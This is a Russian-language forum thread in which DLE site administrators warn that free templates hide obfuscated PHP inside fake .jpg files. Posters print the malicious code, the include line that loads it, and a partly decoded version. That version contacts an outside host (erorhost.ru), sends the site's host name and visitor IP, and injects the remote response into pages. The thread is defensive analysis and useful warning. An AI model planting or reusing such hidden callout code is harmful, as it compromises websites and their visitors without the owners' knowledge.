[Админам]

Обращаю ваше внимание, что участились случаи мошенничества.
Дело в том, что сейчас в большом количестве готовых стилей, скаченных с известных сайтов (8dle.ru, dle.net.ua и т.д.(в прочем стили копипастятся с сайта на сайт, поэтому все адреса приводить бесполезно)), в папке /images/ находится интересный файлик *.jpg

Но несмотря на обманчивый внешний вид, в нём отнюдь не красивая картинка, подходящая под смысл шаблона, а зашифрованный код, который выглядит, примерно, так:

PHP Code:

<?php 
 $x0f="f\x69le"; $x10="\146\x73\157\x63k\x6f\x70\x65n"; $x11="\x69\x6dp\154\157de"; 
 $x0b = @$x10("e\x72\x6fr\150os\164\x32.r\165", 80, $x0c, $x0d, 6); if(!$x0b){return ''; }else{$x0e = @$x0f("h\164\x74p\x3a/\057\145\x72\157\x72\x68o\163\x74\062\056\162u\x2f\162\157\x6da.\x70h\160\077s\x69\164\145=$_SERVER[HTTP_HOST]\046\151\x70\x3d$_SERVER[REMOTE_ADDR]");return $x11('',$x0e); }?>

Я не силён в абусификации, поэтому расшифровать данный кусок мне проблематично.
Пример вызова такого файлика в 1 из шаблонов, скаченных мной:

PHP Code:

$void = include ($tpl->dir.'/images/bgtdt.jpg');
$get_good = $void; 


Не сложно догадаться, что bgtdt.jpg отнюдь не картинка.

В общей сумме из 20 скаченных мною шаблонов на тему Aion и переделанных шаблонов от ja_sanidine около 14 были с таким вот "сюрпризом".

А кто авторы этих шаблонов и адаптаций?

Мы его быстренько выведем на чистую воду и на тех же сайтах объявить нужно.

я на этих сайтах мимолётом... Решил стиль скачать и переделать, а в нём такое вот творится.
Вот пара пруфлинков

http://8dle.ru/free-templates/301-sh...nidine-ii.html
http://dle.net.ua/templates/3011-adaptacija-aion.html


а в прочем, набираем в гугле это, и на 90% сайтов будет сие чудо

Mago de Sombra добавил 08.05.2010 в 23:42
_http://dleshka.org.ru/free_shablon/233-ja-sanidine-ii-peredelka-dlya-dle.html

ещё 1... обратите внимание на spacer.jpg

А где именно этот код? Чтоб у себя проверить

содержимое картинки (до конца не стал расшифровывать, и так понятно):

PHP Code:

$x14="\146\x63l\x6f\x73e";          // fclose();
$x15="f\x65\157\146";               // feof();
$x16="\146\147\x65\164\163";        // fgets();
$x17="f\163\x6f\143\x6b\x6fp\x65n"; // fsockopen();
$x18="f\160\165\164s";              // fputs();
$x19="\x73\x74\x72str";             // strstr();
$neoks ="<a href=neoks.ru></a>";    // $x0b
$fsockopen = @fsockopen("www.erorhost.ru", 80, $x0d, $x0e, 30); // $x0c = $x17()
if($fsockopen)
{
    $header = "GET /sait/id1.php?site=".$_SERVER['HTTP_HOST']." HTTP/1.1";
    $header .= "Host: www.erorhost.ru";
    $header.='Accept: text/html, text/plain, text/sgml, */*;q=0.01 Accept-Encoding: gzip, compress  Accept-Language: ru,en  Accept-Charset: windows-1251, iso-8859-1;q=0.01, us-ascii;q=0.01';
    $header .= "\n\n";
    fputs($fsockopen, $header);
    $x10 = false;
    while(!feof($fsockopen))
    {
          $x11 = fgets($fsockopen,128);
          if($x10)
          {
                  $x12.= $x11;
          }else{
                  $x13 .= $x11;
          }
          if($x11 == "\r\n" )
          {
                  $x10 = true;
          }
    }
    fclose($fsockopen);
}
else
return $neoks;
if(strstr($x13,'404'))
return $neoks;
else
return $x12; 


Неокс. Снова он всплывает.

Как-то уже удалял вирус с сайта из-за него. Он в свои шаблоны засовывал скрытый код и потом кучу проблем на живом проекте. ппц.
Сходу в шаблоне адаптации Игромании есть вредоносный код от Неокса.

реально ли в дистрибутиве ДЛЕ такие директории и файлы существуют?:
sait/id1.php
код из ГЕТ запроса

kerk, нет, таких нету.

Mago de Sombra добавил 09.05.2010 в 01:39
Sven, /templates/название стиля/images/

PHP Code:

function __decode($hex)
{
     $var = explode("\\x", $hex);
     foreach($var AS $k => $v)
     {
          return htmlspecialchars($v);
     }
}

$hex = "f\163\x6f\143\x6b\x6fp\x65n";

print __decode($hex);
// output: fsockopen;